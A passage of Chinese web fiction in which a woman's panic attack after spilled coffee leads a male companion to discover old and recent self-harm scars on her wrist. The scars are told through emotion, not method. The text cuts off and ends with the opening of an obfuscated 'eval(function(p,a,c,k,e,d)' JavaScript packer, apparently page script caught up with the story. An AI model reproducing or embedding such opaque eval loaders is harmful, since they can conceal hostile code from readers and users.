上，洇开，变成暗红色。
粘稠的，温热的，像某种她见过太多遍的颜色。
液体顺着桌沿淌下来，滴在她纯白色的家居裙上。一小片，然后扩散，像一朵缓慢绽放的、腐烂的花。
她的手指开始发麻。不是冷，是那种熟悉的、从指尖开始一寸寸往上爬的僵硬感。
记忆和现实像两股拧在一起的绳索，分不清哪一截属于现在，哪一截属于过去。她只看见血，听见某个夜晚玻璃碎裂的声音，闻到酒精和铁锈混合的气味——
“肖怡？”
声音从很远的地方传来，像隔着水。
她猛地站起身，腿却完全使不上力，整个人朝一侧倒下去。
椅子刮擦地面的刺耳声响，咖啡杯碎裂的清脆声音，有人倒吸一口凉气——
“肖怡！”
好几双手同时伸过来。她恍惚地转过头，看见齐星光的脸离得最近，眼睛里映着她苍白的倒影。他的手已经握住了她的，掌心很烫。
另一只手从旁边伸过来，是楚北，动作比齐星光慢半拍，僵在半空，又默默收了回去。
“小心烫伤！”齐星光的声音突然拔高，带着她很少听见的焦急。
然后她整个人被腾空抱起来。齐星光的手臂很稳，但她能感觉到他指尖在微微发抖。
她被放在沙发上。齐星光蹲下来，卷起她被咖啡浸湿的袖子——
动作突然停住了。
他盯着她的手腕内侧，整个人像被什么定在了原地。那些痕迹密密麻麻地铺在皮肤上，像某种古老的、无法破译的文字。有新有旧——有些已经褪成浅浅的银白色，像愈合了很久的旧伤；有些还带着淡粉色的痕迹，是更近一些的；还有一些……他说不清那是什么，像烫伤后留下的疤，皮肤表面微微隆起，不平整，像被揉皱又重新展平的纸。
他没见过这些。
她也从没在他面前挽起过袖子。
她把它们藏得很好。
齐星光的手指悬在半空，想去碰，又怕弄疼她。最后只是轻轻握住她的手腕，拇指悬在那片疤痕上方，没有落下。
他慢慢把袖子上的水渍拧了拧，动作很轻，像在处理一件极其脆弱的东西。然后他松开了手，转身，在她旁边的
;eval(function(p,a,c,k,e,d){e=function(c){return(c